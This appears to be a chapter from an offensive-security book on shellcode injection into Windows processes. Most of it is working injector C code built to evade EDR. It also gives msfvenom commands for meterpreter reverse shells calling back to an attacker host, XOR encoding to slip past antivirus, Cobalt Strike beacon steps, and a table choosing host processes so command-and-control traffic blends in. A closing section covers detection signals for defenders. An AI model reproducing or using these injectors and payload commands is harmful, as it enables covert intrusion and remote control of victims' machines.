Shellcode Injection via CreateRemoteThread
Classic DLL injection (Chapter 24) leaves an artifact on disk — the DLL file. Shellcode injection eliminates that artifact by writing executable machine code directly into the target's memory and starting a thread to run it. No DLL file, no LoadLibrary call, no file on disk. The core mechanism is almost identical: VirtualAllocEx with PAGE_EXECUTE_READWRITE, WriteProcessMemory with your shellcode bytes, CreateRemoteThread pointing at the shellcode. This chapter covers why RWX memory allocation is the biggest detection signal, how to split the allocation into two phases (write-then-protect), how to select a target process with the right OPSEC properties, and integrates a real Cobalt Strike / Metasploit shellcode stub into a working injector.
Shellcode vs DLL Injection — What Changes and Why
Step │ DLL injection (Ch24) │ Shellcode injection (Ch25)
──────────────────┼─────────────────────────────────┼─────────────────────────────────────
Open target │ OpenProcess(same rights) │ OpenProcess(same rights)
Allocate memory │ VirtualAllocEx(PAGE_READWRITE) │ VirtualAllocEx(PAGE_EXECUTE_READWRITE)
│ (just storing a string) │ (need to execute what we write)
Write content │ WriteProcessMemory(DLL path str) │ WriteProcessMemory(shellcode bytes)
Execute │ CreateRemoteThread(LoadLibraryA) │ CreateRemoteThread(shellcode address)
On-disk artifact │ YES — DLL file required │ NO — shellcode is in memory only
The allocation page protection tells the full story:
─────────────────────────────────────────────────────────────────────────
PAGE_READWRITE → normal data memory (string, array, struct)
PAGE_EXECUTE_READ → loaded executable image (code sections of .exe/.dll)
PAGE_EXECUTE_READWRITE → SUSPICIOUS: writable AND executable simultaneously
This is the classic shellcode allocation signature.
EDRs flag VirtualAllocEx with RWX from any process.
Better approach: two-phase allocation
Phase 1: Allocate with PAGE_READWRITE → write shellcode bytes →
Phase 2: VirtualProtectEx to PAGE_EXECUTE_READ → CreateRemoteThread
This mimics how legitimate code loaders work (write data, then mark executable)
and avoids the RWX flag that most EDRs alert on by default.Implementation — Two-Phase Allocation
/* shellcode_inject.c
Injects shellcode into a target process using two-phase memory allocation:
1. Allocate as PAGE_READWRITE → write shellcode (no RWX at rest)
2. VirtualProtectEx → PAGE_EXECUTE_READ → CreateRemoteThread
This avoids the single RWX allocation that most EDRs flag.
The memory transitions from RW → RX:
RW while writing (normal data write)
RX when executing (normal executable code)
Build:
x86_64-w64-mingw32-gcc -O2 -o shellcode_inject.exe shellcode_inject.c
*/
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
/*
* Replace this with real shellcode from:
* msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.0.0.1 LPORT=443 -f c
* or Cobalt Strike: Attacks → Packages → Raw shellcode
*
* The shellcode below is a 64-bit NOP sled + RET (safe demo placeholder)
*/
static unsigned char shellcode[] = {
/* Real shellcode goes here — this is a placeholder */
0x90, 0x90, 0x90, 0x90, /* NOP NOP NOP NOP */
0x90, 0x90, 0x90, 0x90,
0xC3 /* RET — return cleanly */
};
static SIZE_T shellcode_len = sizeof(shellcode);
/* ── Process selection: find a good injection target ──────────────────── */
/*
* Target selection criteria (in order of preference):
*
* BEST: A process that:
* 1. Is long-lived (won't exit while your shellcode runs)
* 2. Has network access (doesn't trigger firewall alerts for HTTPS)
* 3. Is already a common C2 host (explorer.exe, svchost.exe make network connections normally)
* 4. Is NOT a security process (AV, EDR)
* 5. Runs at the same or lower integrity level as your injector
*
* Typical targets:
* explorer.exe — user's desktop process, long-lived, low suspicion
* svchost.exe — service host, network-capable, many instances
* notepad.exe — simple, predictable, but short-lived if user closes it
* RuntimeBroker.exe — Windows runtime broker, runs in user session
*
* Avoid:
* csrss.exe — killing/crashing it BSODs the system
* winlogon.exe — same, system-critical
* services.exe — EDR pays special attention
* MsMpEng.exe — Windows Defender itself (Protected Process)
*/
static DWORD find_target_pid(const char *proc_name) {
PROCESSENTRY32 pe = { .dwSize = sizeof(pe) };
HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snap == INVALID_HANDLE_VALUE) return 0;
DWORD pid = 0;
if (Process32First(snap, &pe)) {
do {
if (_stricmp(pe.szExeFile, proc_name) == 0) {
pid = pe.th32ProcessID;
break;
}
} while (Process32Next(snap, &pe));
}
CloseHandle(snap);
return pid;
}
/* ── Core injection ─────────────────────────────────────────────────── */
static BOOL inject_shellcode(DWORD pid) {
printf("[*] Injecting into PID %lu (%zu bytes of shellcode)\n",
pid, shellcode_len);
/* Step 1: Open target */
HANDLE hProc = OpenProcess(
PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD,
FALSE, pid);
if (!hProc) {
printf("[-] OpenProcess(%lu): %lu\n", pid, GetLastError());
return FALSE;
}
/* Step 2: Allocate READ+WRITE first (not RWX — avoids the flag) */
LPVOID remote_buf = VirtualAllocEx(hProc, NULL, shellcode_len,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE);
if (!remote_buf) {
printf("[-] VirtualAllocEx: %lu\n", GetLastError());
CloseHandle(hProc);
return FALSE;
}
printf("[+] Allocated RW memory at %p in target\n", remote_buf);
/* Step 3: Write shellcode bytes (writing to RW memory — looks like data) */
SIZE_T written = 0;
if (!WriteProcessMemory(hProc, remote_buf, shellcode, shellcode_len, &written)) {
printf("[-] WriteProcessMemory: %lu\n", GetLastError());
VirtualFreeEx(hProc, remote_buf, 0, MEM_RELEASE);
CloseHandle(hProc);
return FALSE;
}
printf("[+] Wrote %zu bytes to remote memory\n", written);
/* Step 4: Change protection to READ+EXECUTE (remove WRITE permission) */
/*
* VirtualProtectEx changes memory protection in the target process.
* After this call:
* - The shellcode region is readable + executable
* - But no longer writable (another write attempt would fail/alert)
* - This is the same protection that legitimate .text sections have
*
* The transition sequence:
* VirtualAllocEx(RW) → WriteProcessMemory → VirtualProtectEx(RX)
* Is the same sequence used by JIT compilers and some loaders.
* It's less suspicious than a single RWX allocation.
*/
DWORD old_protect = 0;
if (!VirtualProtectEx(hProc, remote_buf, shellcode_len,
PAGE_EXECUTE_READ, &old_protect)) {
printf("[-] VirtualProtectEx: %lu\n", GetLastError());
VirtualFreeEx(hProc, remote_buf, 0, MEM_RELEASE);
CloseHandle(hProc);
return FALSE;
}
printf("[+] Memory protection changed to PAGE_EXECUTE_READ\n");
/* Step 5: Create remote thread starting at shellcode address */
HANDLE hThread = CreateRemoteThread(
hProc,
NULL, 0,
(LPTHREAD_START_ROUTINE)remote_buf, /* shellcode IS the thread function */
NULL, /* shellcode takes no argument */
0,
NULL
);
if (!hThread) {
printf("[-] CreateRemoteThread: %lu\n", GetLastError());
VirtualFreeEx(hProc, remote_buf, 0, MEM_RELEASE);
CloseHandle(hProc);
return FALSE;
}
printf("[+] Remote thread started at %p\n", remote_buf);
/* Wait for shellcode to complete (or timeout) */
WaitForSingleObject(hThread, 5000);
CloseHandle(hThread);
/* Note: don't free remote_buf while shellcode may still be running.
For long-running beacons: don't call VirtualFreeEx at all —
the beacon occupies this memory for its lifetime. */
CloseHandle(hProc);
printf("[+] Injection complete\n");
return TRUE;
}
int main(int argc, char *argv[]) {
const char *target = (argc > 1) ? argv[1] : "explorer.exe";
DWORD pid = find_target_pid(target);
if (!pid) {
printf("[-] Process '%s' not found\n", target);
return 1;
}
printf("[*] Found %s at PID %lu\n", target, pid);
return inject_shellcode(pid) ? 0 : 1;
}
Shellcode Generation — msfvenom and Cobalt Strike
# ── Metasploit / msfvenom shellcode generation ──────────────────────────
# Basic reverse shell (staged — needs a Metasploit listener):
msfvenom -p windows/x64/meterpreter/reverse_https \
LHOST=10.0.0.1 LPORT=443 \
-f c -o shellcode.c
# Self-contained reverse shell (stageless — no second-stage download):
msfvenom -p windows/x64/meterpreter_reverse_https \
LHOST=10.0.0.1 LPORT=443 \
-f raw -o shellcode.bin
# Embed in C array:
msfvenom -p windows/x64/shell_reverse_tcp \
LHOST=10.0.0.1 LPORT=4444 \
-e x64/xor -i 5 \ # XOR encode, 5 iterations (reduces AV detections)
-f c
# ── XOR encode raw shellcode for storage (evade static AV) ──────────────
python3 << 'EOF'
import sys
with open("shellcode.bin", "rb") as f:
sc = bytearray(f.read())
key = 0xAB # single-byte XOR key
# Encode
encoded = bytearray(b ^ key for b in sc)
# Output as C array
print(f"unsigned char key = 0x{key:02X};")
print(f"unsigned char encoded_sc[{len(encoded)}] = {{")
for i, b in enumerate(encoded):
if i % 16 == 0:
print(" ", end="")
print(f"0x{b:02X}", end=", " if i < len(encoded)-1 else "\n")
if i % 16 == 15:
print()
print("};")
EOF
# In-memory decode before injection:
# for (int i = 0; i < len; i++) encoded_sc[i] ^= key;
# then inject encoded_sc into the target
# ── Cobalt Strike raw shellcode ──────────────────────────────────────────
# In CS client: Attacks → Packages → Raw Shellcode → select beacon profile
# This generates a blob suitable for injection.
# Cobalt Strike beacons are position-independent code (PIC) that:
# 1. Resolve their own imports by walking PEB (Ch06) and hashing (Ch07)
# 2. Decrypt their C2 configuration
# 3. Connect to your C2 server over configured protocol (HTTP/S/DNS/SMB)
# 4. Receive tasks: screenshot, keylog, inject, etc.
Target Process OPSEC Analysis
Target process │ Stability │ Network │ Suspicion │ Notes
───────────────────┼───────────┼──────────┼───────────┼─────────────────────────────────
explorer.exe │ HIGH │ YES │ LOW │ Best default: user's shell,
│ │ │ │ long-lived, normally connects
│ │ │ │ to OneDrive/MS services
svchost.exe │ HIGH │ YES │ LOW │ Multiple instances; pick one
(wlansvc/etc) │ │ │ │ hosting a specific service.
│ │ │ │ -k NetworkService instances
│ │ │ │ are best (expect network)
msiexec.exe │ MEDIUM │ NO │ MEDIUM │ Short-lived (exits after install)
│ │ │ │ Not expected to do C2
RuntimeBroker.exe │ HIGH │ NO │ MEDIUM │ User session process, no network
notepad.exe │ LOW │ NO │ HIGH │ User may close it; notepad.exe
│ │ │ │ making HTTPS = immediately suspicious
chrome.exe │ HIGH │ YES │ LOW │ Perfect network cover: HTTPS from
(or Edge, Firefox) │ │ │ │ Chrome is totally normal.
│ │ │ │ BUT: may have anti-injection policy
│ │ │ │ (ACG/CIG) — injection may fail
Teams.exe │ HIGH │ YES │ LOW │ Constantly makes HTTPS requests
│ │ │ │ Great cover, often elevated privileges
OneDrive.exe │ HIGH │ YES │ LOW │ Synchronizes files continuously
│ │ │ │ HTTPS to MS is expected
SearchHost.exe │ MEDIUM │ NO │ HIGH │ Doesn't make external connections
───────────────────┴───────────┴──────────┴───────────┴─────────────────────────────────
How to pick the specific svchost.exe instance to inject into:
──────────────────────────────────────────────────────────────────
svchost.exe is a service host — many instances run simultaneously.
Each hosts different services. Find a network-capable one:
sc query → list all services
tasklist /svc → shows which svchost PID hosts which services
Good targets:
svchost.exe hosting: DnsSvc, WinHttpAutoProxySvc, iphlpsvc
These make legitimate network connections → your C2 traffic blends inEncrypted Shellcode Storage
/* encrypted_sc_inject.c
Stores shellcode XOR-encrypted on disk (inside the binary's .data section).
Decrypts in memory just before injection.
Combines encryption with the two-phase allocation.
*/
#include <windows.h>
#include <stdio.h>
/* Shellcode encrypted at compile time (XOR 0xDE each byte)
In practice: encrypt with a Python script, paste the result here.
The key is stored in a separate variable — some analysis tools
won't connect the two automatically.
*/
static unsigned char g_enc_sc[] = {
/* XOR 0xDE: NOP(0x90)^0xDE=0x4E, RET(0xC3)^0xDE=0x1D */
0x4E, 0x4E, 0x4E, 0x4E,
0x1D
};
static SIZE_T g_sc_len = sizeof(g_enc_sc);
static const unsigned char g_key = 0xDE;
static unsigned char *decrypt_shellcode(void) {
unsigned char *buf = (unsigned char *)
VirtualAlloc(NULL, g_sc_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!buf) return NULL;
for (SIZE_T i = 0; i < g_sc_len; i++) {
buf[i] = g_enc_sc[i] ^ g_key;
}
return buf;
}
static BOOL inject_encrypted(DWORD pid) {
/* Decrypt shellcode into a local RW buffer first */
unsigned char *sc = decrypt_shellcode();
if (!sc) { fprintf(stderr, "decrypt failed\n"); return FALSE; }
HANDLE hProc = OpenProcess(
PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD,
FALSE, pid);
if (!hProc) goto cleanup;
/* Allocate RW in target, write, protect RX, execute */
LPVOID remote = VirtualAllocEx(hProc, NULL, g_sc_len,
MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
WriteProcessMemory(hProc, remote, sc, g_sc_len, NULL);
DWORD old;
VirtualProtectEx(hProc, remote, g_sc_len, PAGE_EXECUTE_READ, &old);
HANDLE hT = CreateRemoteThread(hProc, NULL, 0,
(LPTHREAD_START_ROUTINE)remote,
NULL, 0, NULL);
if (hT) { WaitForSingleObject(hT, 10000); CloseHandle(hT); }
CloseHandle(hProc);
cleanup:
/* Wipe and free local decrypted copy */
SecureZeroMemory(sc, g_sc_len);
VirtualFree(sc, 0, MEM_RELEASE);
return hProc != NULL;
}
Detection Map
Shellcode injection detection signals:
Sysmon EventID 10 (ProcessAccess):
SourceImage: attacker.exe
TargetImage: explorer.exe
GrantedAccess: 0x1fffff or 0x43A (VM_WRITE|VM_OP|CREATE_THREAD)
→ Same as DLL injection — both techniques use the same handle access
Sysmon EventID 8 (CreateRemoteThread):
SourceImage: attacker.exe
TargetImage: explorer.exe
StartAddress: 0x00000248ABCD1000 ← allocated heap address (NOT in any module)
→ StartAddress not in a loaded module = major red flag
→ StartAddress in a module (like LoadLibraryA) = DLL injection, less alarming
→ StartAddress in unknown/heap range = shellcode injection
EDR Memory Scanning:
Most EDRs scan memory regions in remote processes after CreateRemoteThread.
They look for shellcode signatures: PE headers, common beacon patterns,
Metasploit staging patterns (0xFC 0x48 0x83 0xE4 0xF0 — common prologue).
Encrypted shellcode helps here — the bytes look random until decrypted.
Network Telemetry:
After successful C2 beacon injection into explorer.exe:
explorer.exe → TLS connection → 104.x.x.x:443
NDR (Network Detection & Response) tools flag: this process normally
connects only to Microsoft IPs (OneDrive, Windows Update) — new external
IP connection is suspicious.
Defenders should baseline: what external IPs does explorer.exe normally contact?
Any new IP outside that baseline is worth investigating.
Process anomaly:
Windows Defender ATP / MDE:
"Suspicious CreateRemoteThread from non-system process targeting explorer.exe"
"Memory shellcode pattern detected in explorer.exe"
These are real alert categories in MDE.
Questions & Answers
Why does PAGE_EXECUTE_READWRITE trigger EDR alerts while PAGE_READWRITE followed by VirtualProtectEx to PAGE_EXECUTE_READ is less suspicious?
EDRs look for the combination of a memory region being writable AND executable simultaneously, because legitimate code almost never needs both at the same time. Legitimate PE images are loaded with separate sections: .text is execute-only or execute-read, .data is read-write, .rdata is read-only. The only processes that legitimately use RWX memory are JIT compilers (V8 in Chrome, CLR in .NET) — and those are well-known. An unknown process allocating RWX memory in another process is a near-certain indicator of shellcode. The two-phase approach (write to RW, then protect to RX) mimics what JIT compilers and the OS loader do when loading code. It's not foolproof — EDRs can also monitor VirtualProtectEx calls — but it reduces false-positive overlap with legitimate patterns and avoids the simplest "single RWX allocation = shellcode" rule.
How does Sysmon's StartAddress field in EventID 8 reveal shellcode injection?
When CreateRemoteThread is called, Sysmon logs the start address of the new thread — the address where execution will begin. In DLL injection, the start address is LoadLibraryA, which lives inside kernel32.dll. Sysmon can resolve that address to a known module: StartModule: C:\Windows\System32\kernel32.dll. In shellcode injection, the start address is a heap-allocated buffer that doesn't belong to any loaded module. Sysmon logs StartModule: - or StartModule: UNKNOWN. This is a very high-confidence shellcode indicator — there's almost no legitimate reason for a thread to start at an unmapped or heap address. Detection rule: alert on Sysmon EventID 8 where the StartModule field is empty or the StartAddress doesn't fall within any loaded module's address range. This catches all classic shellcode injection regardless of what the shellcode actually does.
Can shellcode remain in memory without being freed, and does the target process notice?
Yes — the typical pattern for a C2 beacon is to allocate memory, write and execute shellcode, and never free that allocation. The beacon shellcode runs continuously in a thread, beaconing back to the C2 server at regular intervals. The allocated memory region remains in the target's virtual address space for as long as the process lives. The target process (e.g., explorer.exe) doesn't "notice" in any programmatic sense — Windows doesn't have a mechanism to query all threads or memory regions and flag unknown ones at the application layer. Defenders can detect this with memory forensics tools: Volatility's malfind plugin scans process memory for regions that are executable but not backed by a file on disk (VAD entries with no file path). Cobalt Strike beacons try to reduce this footprint by using the "sleep" function to sit dormant between check-ins, which keeps CPU usage near zero.
What's the difference between staging and stageless shellcode, and which should you use for injection?
Staged shellcode (e.g., windows/x64/meterpreter/reverse_https) is a small downloader stub — typically 300-500 bytes — that connects back to a listener and downloads the full-size payload (Meterpreter DLL) from the network at runtime. This means the injected shellcode is tiny, but requires a running listener and makes a visible network connection to download stage 2. Stageless shellcode (e.g., windows/x64/meterpreter_reverse_https) embeds the complete payload — typically 200+ KB. It's self-contained: one blob, one connection. For injection, stageless has OPSEC advantages: no stage 2 download (one less network event to detect), and the complete payload is in memory after injection without additional connections. The downside is the large size — 200KB of shellcode is more unusual in a process's memory than 400 bytes. Cobalt Strike beacons are typically stageless and compressed/encrypted, making memory scanning harder. Choose based on your constraint: if the injector must be small, stage. If you can afford large shellcode but want fewer network events, go stageless.
Can you inject into a process running at a different integrity level?
You can only inject downward in integrity levels — from a higher integrity process into a lower integrity one. A medium-integrity injector can inject into a low-integrity process (browser sandbox, protected mode IE). A high-integrity (admin) injector can inject into medium-integrity processes (explorer.exe, standard user processes). You cannot inject upward — a medium-integrity process cannot inject into a high-integrity one because OpenProcess will fail with ACCESS_DENIED. Additionally, even as high-integrity you can't inject into System-integrity processes (services running as SYSTEM, lsass.exe) without SeDebugPrivilege, and you cannot inject into Protected Processes (PPL, like Windows Defender's MsMpEng.exe) at all without a kernel driver, regardless of privileges. The integrity level check happens in the kernel during OpenProcess — no user-mode bypass exists.